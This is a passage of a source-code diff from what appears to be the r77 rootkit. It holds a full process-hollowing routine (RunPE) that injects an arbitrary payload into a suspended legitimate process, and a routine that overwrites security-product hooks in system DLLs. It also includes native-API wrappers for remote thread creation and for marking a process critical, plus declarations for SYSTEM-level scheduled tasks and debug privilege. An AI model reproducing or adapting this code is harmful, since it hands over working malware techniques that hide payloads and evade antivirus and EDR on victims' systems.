LPBOOL is64Bit) +{ + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); + + if (ntHeaders->Signature == IMAGE_NT_SIGNATURE) + { + switch (ntHeaders->OptionalHeader.Magic) + { + case IMAGE_NT_OPTIONAL_HDR32_MAGIC: + *is64Bit = FALSE; + return TRUE; + case IMAGE_NT_OPTIONAL_HDR64_MAGIC: + *is64Bit = TRUE; + return TRUE; + } + } + + return FALSE; +} +BOOL RunPE(LPCWSTR path, LPBYTE payload) +{ + BOOL isPayload64Bit; + if (IsExecutable64Bit(payload, &isPayload64Bit)) + { + if (isPayload64Bit && BITNESS(32)) + { + // Cannot inject 64-bit payload from 32-bit process. + return FALSE; + } + + if (!isPayload64Bit && BITNESS(64) && !IsAtLeastWindows10()) + { + // Wow64 RunPE requires at least Windows 10. + //TODO: Custom implementation for Wow64GetThreadContext and Wow64SetThreadContext required to work on Windows 7. + return FALSE; + } + } + else + { + return FALSE; + } + + // For 32-bit (and 64-bit?) process hollowing, this needs to be attempted several times. + // This is a workaround to the well known stability issue of process hollowing. + for (DWORD i = 0; i < 5; i++) + { + STARTUPINFOW startupInfo; + PROCESS_INFORMATION processInformation; + i_memset(&startupInfo, 0, sizeof(STARTUPINFOW)); + i_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION)); + startupInfo.cb = sizeof(startupInfo); + + if (CreateProcessW(path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInformation)) + { + if (isPayload64Bit == BITNESS(64)) + { + // Payload bitness matches current process bitness + + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew); + R77_NtUnmapViewOfSection(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase); + + LPVOID imageBase = VirtualAllocEx(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (imageBase && WriteProcessMemory(processInformation.hProcess, imageBase, payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL)) + { + DWORD oldProtect; + if (VirtualProtectEx(processInformation.hProcess, imageBase, ntHeaders->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &oldProtect)) + { + BOOL sectionsWritten = TRUE; + PIMAGE_SECTION_HEADER sectionHeaders = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(ntHeaders); + for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++) + { + if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress, (LPBYTE)payload + sectionHeaders[j].PointerToRawData, sectionHeaders[j].SizeOfRawData, NULL)) + { + sectionsWritten = FALSE; + break; + } + + if (!VirtualProtectEx( + processInformation.hProcess, + (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress, + j == ntHeaders->FileHeader.NumberOfSections - 1 ? ntHeaders->OptionalHeader.SizeOfImage - sectionHeaders[j].VirtualAddress : sectionHeaders[j + 1].VirtualAddress - sectionHeaders[j].VirtualAddress, + SectionCharacteristicsToProtection(sectionHeaders[j].Characteristics), + &oldProtect)) + { + sectionsWritten = FALSE; + break; + } + } + + if (sectionsWritten) + { + LPCONTEXT context = (LPCONTEXT)VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE); + if (context) + { + context->ContextFlags = CONTEXT_FULL; + + if (GetThreadContext(processInformation.hThread, context)) + { +#ifdef _WIN64 + if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Rdx + 16), &ntHeaders->OptionalHeader.ImageBase, 8, NULL)) + { + context->Rcx = (DWORD64)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint; + if (SetThreadContext(processInformation.hThread, context) && + ResumeThread(processInformation.hThread) != -1) + { + return TRUE; + } + } +#else + if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + 8), &ntHeaders->OptionalHeader.ImageBase, 4, NULL)) + { + context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint; + if (SetThreadContext(processInformation.hThread, context) && + ResumeThread(processInformation.hThread) != -1) + { + return TRUE; + } + } +#endif + } + } + } + } + } + } + else + { + // Spawn 32-bit process from this 64-bit process. + + PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew); + R77_NtUnmapViewOfSection(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase); + + LPVOID imageBase = VirtualAllocEx(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (imageBase && WriteProcessMemory(processInformation.hProcess, imageBase, payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL)) + { + DWORD oldProtect; + if (VirtualProtectEx(processInformation.hProcess, imageBase, ntHeaders->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &oldProtect)) + { + BOOL sectionsWritten = TRUE; + PIMAGE_SECTION_HEADER sectionHeaders = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(ntHeaders); + for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++) + { + if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress, (LPBYTE)payload + sectionHeaders[j].PointerToRawData, sectionHeaders[j].SizeOfRawData, NULL)) + { + sectionsWritten = FALSE; + break; + } + + if (!VirtualProtectEx( + processInformation.hProcess, + (LPBYTE)imageBase + sectionHeaders[j].VirtualAddress, + j == ntHeaders->FileHeader.NumberOfSections - 1 ? ntHeaders->OptionalHeader.SizeOfImage - sectionHeaders[j].VirtualAddress : sectionHeaders[j + 1].VirtualAddress - sectionHeaders[j].VirtualAddress, + SectionCharacteristicsToProtection(sectionHeaders[j].Characteristics), + &oldProtect)) + { + sectionsWritten = FALSE; + break; + } + } + + if (sectionsWritten) + { + PWOW64_CONTEXT context = (PWOW64_CONTEXT)VirtualAlloc(NULL, sizeof(WOW64_CONTEXT), MEM_COMMIT, PAGE_READWRITE); + if (context) + { + context->ContextFlags = WOW64_CONTEXT_FULL; + + if (Wow64GetThreadContext(processInformation.hThread, context)) + { + if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + 8), &ntHeaders->OptionalHeader.ImageBase, 4, NULL)) + { + context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint; + if (Wow64SetThreadContext(processInformation.hThread, context) && + ResumeThread(processInformation.hThread) != -1) + { + return TRUE; + } + } + } + } + } + } + } + } + } + + if (processInformation.dwProcessId != 0) + { + HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, processInformation.dwProcessId); + if (process) + { + TerminateProcess(process, 0); + } + } + } + + return FALSE; +} +DWORD SectionCharacteristicsToProtection(DWORD characteristics) +{ + if ((characteristics & IMAGE_SCN_MEM_EXECUTE) && (characteristics & IMAGE_SCN_MEM_READ) && (characteristics & IMAGE_SCN_MEM_WRITE)) + { + return PAGE_EXECUTE_READWRITE; + } + else if ((characteristics & IMAGE_SCN_MEM_EXECUTE) && (characteristics & IMAGE_SCN_MEM_READ)) + { + return PAGE_EXECUTE_READ; + } + else if ((characteristics & IMAGE_SCN_MEM_EXECUTE) && (characteristics & IMAGE_SCN_MEM_WRITE)) + { + return PAGE_EXECUTE_WRITECOPY; + } + else if ((characteristics & IMAGE_SCN_MEM_READ) && (characteristics & IMAGE_SCN_MEM_WRITE)) + { + return PAGE_READWRITE; + } + else if (characteristics & IMAGE_SCN_MEM_EXECUTE) + { + return PAGE_EXECUTE; + } + else if (characteristics & IMAGE_SCN_MEM_READ) + { + return PAGE_READONLY; + } + else if (characteristics & IMAGE_SCN_MEM_WRITE) + { + return PAGE_WRITECOPY; + } + else + { + return PAGE_NOACCESS; + } +} +DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName) +{ + BOOL is64Bit; + if (IsExecutable64Bit(image, &is64Bit)) + { + PIMAGE_EXPORT_DIRECTORY exportDirectory; + if (is64Bit) + { + PIMAGE_NT_HEADERS64 ntHeaders = (PIMAGE_NT_HEADERS64)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); + exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(image + RvaToOffset(image, ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)); + } + else + { + PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); + exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(image + RvaToOffset(image, ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)); + } + + LPDWORD nameDirectory = (LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNames)); + LPWORD nameOrdinalDirectory = (LPWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNameOrdinals)); + + for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++) + { + if (StrStrA((PCHAR)(image + RvaToOffset(image, *nameDirectory)), functionName)) + { + return RvaToOffset(image, *(LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfFunctions) + *nameOrdinalDirectory * sizeof(DWORD))); + } + + nameDirectory++; + nameOrdinalDirectory++; + } + } + + return 0; +} +DWORD RvaToOffset(LPBYTE image, DWORD rva) +{ + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); + PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader); + + if (rva < sections[0].PointerToRawData) + { + return rva; + } + else + { + for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) + { + if (rva >= sections[i].VirtualAddress && rva < sections[i].VirtualAddress + sections[i].SizeOfRawData) + { + return rva - sections[i].VirtualAddress + sections[i].PointerToRawData; + } + } + + return 0; + } +} +VOID UnhookDll(LPCWSTR name) +{ + if (name) + { + WCHAR path[MAX_PATH + 1]; + if (Is64BitOperatingSystem() && BITNESS(32)) StrCpyW(path, L"C:\\Windows\\SysWOW64\\"); + else StrCpyW(path, L"C:\\Windows\\System32\\"); + + StrCatW(path, name); + + // Get original DLL handle. This DLL is possibly hooked by AV/EDR solutions. + HMODULE dll = GetModuleHandleW(name); + if (dll) + { + MODULEINFO moduleInfo; + i_memset(&moduleInfo, 0, sizeof(MODULEINFO)); + + if (GetModuleInformation(GetCurrentProcess(), dll, &moduleInfo, sizeof(MODULEINFO))) + { + // Retrieve a clean copy of the DLL file. + HANDLE dllFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); + if (dllFile != INVALID_HANDLE_VALUE) + { + // Map the clean DLL into memory + HANDLE dllMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); + if (dllMapping) + { + LPVOID dllMappedFile = MapViewOfFile(dllMapping, FILE_MAP_READ, 0, 0, 0); + if (dllMappedFile) + { + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)moduleInfo.lpBaseOfDll + ((PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll)->e_lfanew); + + for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) + { + PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + (i * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER)); + + // Find the .text section of the hooked DLL and overwrite it with the original DLL section + if (!StrCmpIA((LPCSTR)sectionHeader->Name, ".text")) + { + LPVOID virtualAddress = (LPVOID)((ULONG_PTR)moduleInfo.lpBaseOfDll + (ULONG_PTR)sectionHeader->VirtualAddress); + DWORD virtualSize = sectionHeader->Misc.VirtualSize; + + DWORD oldProtect; + VirtualProtect(virtualAddress, virtualSize, PAGE_EXECUTE_READWRITE, &oldProtect); + i_memcpy(virtualAddress, (LPVOID)((ULONG_PTR)dllMappedFile + (ULONG_PTR)sectionHeader->VirtualAddress), virtualSize); + VirtualProtect(virtualAddress, virtualSize, oldProtect, &oldProtect); + + break; + } + } + } + + CloseHandle(dllMapping); + } + + CloseHandle(dllFile); + } + } + + FreeLibrary(dll); + } + } +} + +NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength) +{ + // NtQueryObject must be called by using GetProcAddress on Windows 7. + return ((NT_NTQUERYOBJECT)GetFunction("ntdll.dll", "NtQueryObject"))(handle, objectInformationClass, objectInformation, objectInformationLength, returnLength); +} +NTSTATUS NTAPI R77_NtCreateThreadEx(LPHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer) +{ + // Use NtCreateThreadEx instead of CreateRemoteThread. + // CreateRemoteThread does not work across sessions in Windows 7. + return ((NT_NTCREATETHREADEX)GetFunction("ntdll.dll", "NtCreateThreadEx"))(thread, desiredAccess, objectAttributes, processHandle, startAddress, parameter, flags, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, bytesBuffer); +} +NTSTATUS NTAPI R77_NtUnmapViewOfSection(HANDLE processHandle, LPVOID baseAddress) +{ + return ((NT_NTUNMAPVIEWOFSECTION)GetFunction("ntdll.dll", "NtUnmapViewOfSection"))(processHandle, baseAddress); +} +NTSTATUS NTAPI R77_RtlGetVersion(PRTL_OSVERSIONINFOW versionInformation) +{ + return ((NT_RTLGETVERSION)GetFunction("ntdll.dll", "RtlGetVersion"))(versionInformation); +} +NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue) +{ + return ((NT_RTLADJUSTPRIVILEGE)GetFunction("ntdll.dll", "RtlAdjustPrivilege"))(privilege, enablePrivilege, isThreadPrivilege, previousValue); +} +NTSTATUS NTAPI R77_RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb) +{ + return ((NT_RTLSETPROCESSISCRITICAL)GetFunction("ntdll.dll", "RtlSetProcessIsCritical"))(newIsCritical, oldIsCritical, needScb); +} +PDH_STATUS WINAPI R77_PdhGetCounterInfoW(PDH_HCOUNTER counter, BOOLEAN retrieveExplainText, LPDWORD bufferSize, PNT_PDH_COUNTER_INFO_W buffer) +{ + return ((NT_PDHGETCOUNTERINFOW)GetFunction("pdh.dll", "PdhGetCounterInfoW"))(counter, retrieveExplainText, bufferSize, buffer); } \ No newline at end of file diff --git a/r77api/r77win.h b/r77api/r77win.h index b9d7d99..2d04478 100644 --- a/r77api/r77win.h +++ b/r77api/r77win.h @@ -1,312 +1,314 @@ -#include "r77mindef.h" -#ifndef _R77WIN_H -#define _R77WIN_H - -/// -/// Writes random bytes to the buffer. -/// -/// A buffer to write the random data to. -/// The size in bytes of random data to write. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetRandomBytes(LPVOID buffer, DWORD size); -/// -/// Generates a random alphanumeric string. -/// -/// A buffer of unicode characters to write the string to. -/// The number of characters to write. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetRandomString(PWCHAR str, DWORD length); -/// -/// Converts a LPCWSTR into a null terminated LPCSTR. -/// -/// The LPCWSTR to convert. -/// -/// A newly allocated LPCSTR with the converted LPCWSTR. -/// -LPCSTR ConvertStringToAString(LPCWSTR str); -/// -/// Converts a UNICODE_STRING into a null terminated LPWSTR. -/// -/// The UNICODE_STRING to convert. -/// -/// A newly allocated LPWSTR with the converted UNICODE_STRING. -/// -LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str); -/// -/// Converts a 32-bit integer value to a string. -/// -/// The value to convert. -/// A buffer of unicode characters to write the result to. -VOID Int32ToStrW(LONG value, PWCHAR buffer); - -/// -/// Determines whether the operating system is a 64-bit operating system. -/// -/// -/// TRUE, if the operating system is a 64-bit operating system; -/// otherwise, FALSE. -/// -BOOL Is64BitOperatingSystem(); -/// -/// Determines whether at Windows 10 or greater is installed. This function uses the NT API and does not rely on a manifest file. -/// -/// -/// TRUE, if Windows 10 or above is installed; -/// otherwise, FALSE. -/// -BOOL IsAtLeastWindows10(); -/// -/// Determines whether a process is a 64-bit process. -/// -/// The process ID to check. -/// A pointer to a BOOL value to write the result to. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit); -/// -/// Retrieves a function from a DLL specified by a name. -/// -/// The name of the DLL to retrieve the function from. -/// The name of the function to retrieve. -/// -/// A pointer to the function, or NULL, if either the DLL was not found or does not have a function by the specified name. -/// -LPVOID GetFunction(LPCSTR dll, LPCSTR function); -/// -/// Gets the integrity level of a process. -/// -/// The process ID to check. -/// A pointer to a DWORD value to write the result to. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel); -/// -/// Gets the filename of a process. -/// -/// The process ID to retrieve the filename from. -/// A buffer to write the filename to. -/// The length of the fileName buffer. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetProcessFileName(DWORD processId, LPWSTR fileName, DWORD fileNameLength); -/// -/// Gets the full path of a process. -/// -/// The process ID to retrieve the full path from. -/// A buffer to write full path to. -/// The length of the fileName buffer. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetProcessPath(DWORD processId, LPWSTR fileName, DWORD fileNameLength); -/// -/// Gets the username of a process. -/// -/// The handle to the process to check. -/// A buffer of unicode characters to write the result to. -/// The length of the result buffer. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength); -/// -/// Obtains the SeDebugPrivilege. -/// -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL EnabledDebugPrivilege(); -/// -/// Gets an executable resource. -/// -/// The identifier of the resource. -/// The type identifier of the resource. -/// A pointer that is set to a newly allocated buffer with the resource data. -/// A pointer to a DWORD value to write the size of the returned buffer to. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size); -/// -/// Retrieves the full path from a file handle. -/// -/// A file handle to retrieve the path from. -/// A buffer to write the path to. -/// The length of the fileName buffer. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength); -/// -/// Reads the contents of a file. -/// -/// The path to the file to read. -/// A pointer that is set to a newly allocated buffer with the file contents. -/// A pointer to a DWORD value to write the size of the returned buffer to. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size); -/// -/// Reads a null terminated LPCWSTR from the specified file. -/// -/// A file handle to read the string from. -/// The buffer to write the string to. -/// The length of the string buffer. -/// -/// TRUE, if this function succeeds; -/// FALSE, if the string was longer than the specified buffer, or the end of the file was reached before the null terminator. -/// -BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length); -/// -/// Writes a buffer to a file. -/// -/// The path to the file to create. -/// A buffer to write to the file. -/// The number of bytes to write. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size); -/// -/// Creates a file with a random filename and a given extension in the temp directory and writes a given buffer to it. -/// -/// A buffer to write to the file. -/// The number of bytes to write. -/// The extension to append to the random filename, excluding the dot. -/// A buffer of unicode characters to write the path of the created file to. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath); -/// -/// Executes a file and waits for the process to exit. -/// -/// The path to the file to execute. -/// TRUE, to attempt to delete the file. A total of 10 deletion attempts with a delay of 100 ms is performed. -/// -/// TRUE, if the file was successfully executed; -/// otherwise, FALSE. -/// If the file was executed, but deletion failed, TRUE is returned. -/// -BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile); -/// -/// Creates a scheduled task that is set to run under the SYSTEM account before the user logs in. -/// -/// The name of the scheduled task. -/// The working directory of the scheduled task. -/// The application name of the scheduled task. -/// The commandline arguments to pass to the created process. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments); -/// -/// Starts a scheduled task. -/// -/// The name of the scheduled task. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL RunScheduledTask(LPCWSTR name); -/// -/// Deletes a scheduled task. -/// -/// The name of the scheduled task. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL DeleteScheduledTask(LPCWSTR name); -/// -/// Creates a named pipe that is accessible by every process. -/// -/// The name of the named pipe to be created. -/// -/// A handle to the newly created named pipe, or INVALID_HANDLE_VALUE, if creation failed. -/// -HANDLE CreatePublicNamedPipe(LPCWSTR name); - -/// -/// Determines the bitness of an executable file. -/// -/// A buffer containing the executable file. -/// A pointer to a BOOL value to write the result to. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit); -/// -/// Creates a new process using the process hollowing technique. -/// If the current process is a 32-bit process, only 32-bit processes can be created. -/// -/// The target executable path. This can be any existing file with the same bitness as the payload. -/// The actual executable that is the payload of the new process, regardless of the path argument. -/// -/// TRUE, if this function succeeds; -/// otherwise, FALSE. -/// -BOOL RunPE(LPCWSTR path, LPBYTE payload); -/// -/// Converts an IMAGE_SECTION_HEADER.Characteristics flag to a memory page protection flag. -/// -/// The characteristics of a section. -/// -/// A DWORD value to be used with VirtualProtectEx. -/// -DWORD SectionCharacteristicsToProtection(DWORD characteristics); -/// -/// Gets the file offset of an exported function from an executable file. -/// -/// A buffer with the executable file. -/// The name of the exported function. -/// -/// The file offset of the exported function; or 0, if this function fails. -/// -DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName); -/// -/// Converts a RVA to a file offset. -/// -/// A buffer with the executable file. -/// The RVA to convert. -/// -/// The file offset converted from the specified RVA; or 0, if this function fails. -/// -DWORD RvaToOffset(LPBYTE image, DWORD rva); -/// -/// Unhooks a DLL by replacing the .text section with the original DLL section. -/// -/// The name of the DLL to unhook. -VOID UnhookDll(LPCWSTR name); - -NTSTATUS NTAPI R77_NtQueryObject(HANDLE handle, OBJECT_INFORMATION_CLASS objectInformationClass, LPVOID objectInformation, ULONG objectInformationLength, PULONG returnLength); -NTSTATUS NTAPI R77_NtCreateThreadEx(LPHANDLE thread, ACCESS_MASK desiredAccess, LPVOID objectAttributes, HANDLE processHandle, LPVOID startAddress, LPVOID parameter, ULONG flags, SIZE_T stackZeroBits, SIZE_T sizeOfStackCommit, SIZE_T sizeOfStackReserve, LPVOID bytesBuffer); -NTSTATUS NTAPI R77_NtUnmapViewOfSection(HANDLE processHandle, LPVOID baseAddress); -NTSTATUS NTAPI R77_RtlGetVersion(PRTL_OSVERSIONINFOW versionInformation); -NTSTATUS NTAPI R77_RtlAdjustPrivilege(ULONG privilege, BOOLEAN enablePrivilege, BOOLEAN isThreadPrivilege, PBOOLEAN previousValue); -NTSTATUS NTAPI R77_RtlSetProcessIsCritical(BOOLEAN newIsCritical, PBOOLEAN oldIsCritical, BOOLEAN needScb); - +#include "r77mindef.h" +#include "ntdll.h" +#ifndef _R77WIN_H +#define _R77WIN_H + +/// +/// Writes random bytes to the buffer. +/// +/// A buffer to write the random data to. +/// The size in bytes of random data to write. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetRandomBytes(LPVOID buffer, DWORD size); +/// +/// Generates a random alphanumeric string. +/// +/// A buffer of unicode characters to write the string to. +/// The number of characters to write. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetRandomString(PWCHAR str, DWORD length); +/// +/// Converts a LPCWSTR into a null terminated LPCSTR. +/// +/// The LPCWSTR to convert. +/// +/// A newly allocated LPCSTR with the converted LPCWSTR. +/// +LPCSTR ConvertStringToAString(LPCWSTR str); +/// +/// Converts a UNICODE_STRING into a null terminated LPWSTR. +/// +/// The UNICODE_STRING to convert. +/// +/// A newly allocated LPWSTR with the converted UNICODE_STRING. +/// +LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str); +/// +/// Converts a 32-bit integer value to a string. +/// +/// The value to convert. +/// A buffer of unicode characters to write the result to. +VOID Int32ToStrW(LONG value, PWCHAR buffer); + +/// +/// Determines whether the operating system is a 64-bit operating system. +/// +/// +/// TRUE, if the operating system is a 64-bit operating system; +/// otherwise, FALSE. +/// +BOOL Is64BitOperatingSystem(); +/// +/// Determines whether at Windows 10 or greater is installed. This function uses the NT API and does not rely on a manifest file. +/// +/// +/// TRUE, if Windows 10 or above is installed; +/// otherwise, FALSE. +/// +BOOL IsAtLeastWindows10(); +/// +/// Determines whether a process is a 64-bit process. +/// +/// The process ID to check. +/// A pointer to a BOOL value to write the result to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit); +/// +/// Retrieves a function from a DLL specified by a name. +/// +/// The name of the DLL to retrieve the function from. +/// The name of the function to retrieve. +/// +/// A pointer to the function, or NULL, if either the DLL was not found or does not have a function by the specified name. +/// +LPVOID GetFunction(LPCSTR dll, LPCSTR function); +/// +/// Gets the integrity level of a process. +/// +/// The process ID to check. +/// A pointer to a DWORD value to write the result to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel); +/// +/// Gets the filename of a process. +/// +/// The process ID to retrieve the filename from. +/// A buffer to write the filename to. +/// The length of the fileName buffer. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetProcessFileName(DWORD processId, LPWSTR fileName, DWORD fileNameLength); +/// +/// Gets the full path of a process. +/// +/// The process ID to retrieve the full path from. +/// A buffer to write full path to. +/// The length of the fileName buffer. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetProcessPath(DWORD processId, LPWSTR fileName, DWORD fileNameLength); +/// +/// Gets the username of a process. +/// +/// The handle to the process to check. +/// A buffer of unicode characters to write the result to. +/// The length of the result buffer. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength); +/// +/// Obtains the SeDebugPrivilege. +/// +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL EnabledDebugPrivilege(); +/// +/// Gets an executable resource. +/// +/// The identifier of the resource. +/// The type identifier of the resource. +/// A pointer that is set to a newly allocated buffer with the resource data. +/// A pointer to a DWORD value to write the size of the returned buffer to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size); +/// +/// Retrieves the full path from a file handle. +/// +/// A file handle to retrieve the path from. +/// A buffer to write the path to. +/// The length of the fileName buffer. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength); +/// +/// Reads the contents of a file. +/// +/// The path to the file to read. +/// A pointer that is set to a newly allocated buffer with the file contents. +/// A pointer to a DWORD value to write the size of the returned buffer to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size); +/// +/// Reads a null terminated LPCWSTR from the specified file. +/// +/// A file handle to read the string from. +/// The buffer to write the string to. +/// The length of the string buffer. +/// +/// TRUE, if this function succeeds; +/// FALSE, if the string was longer than the specified buffer, or the end of the file was reached before the null terminator. +/// +BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length); +/// +/// Writes a buffer to a file. +/// +/// The path to the file to create. +/// A buffer to write to the file. +/// The number of bytes to write. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size); +/// +/// Creates a file with a random filename and a given extension in the temp directory and writes a given buffer to it. +/// +/// A buffer to write to the file. +/// The number of bytes to write. +/// The extension to append to the random filename, excluding the dot. +/// A buffer of unicode characters to write the path of the created file to. +/// +/// TRUE, if this function succeeds; +/// otherwise, FALSE. +/// +BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath); +/// +/// Executes a file and waits for the process to exit. +/// +/// The path to the file to execute. +/// TRUE, to attempt to delete the file. A total of 10 deletion attempts with a delay of 100 ms is performed. +/// +/// TRUE, if the 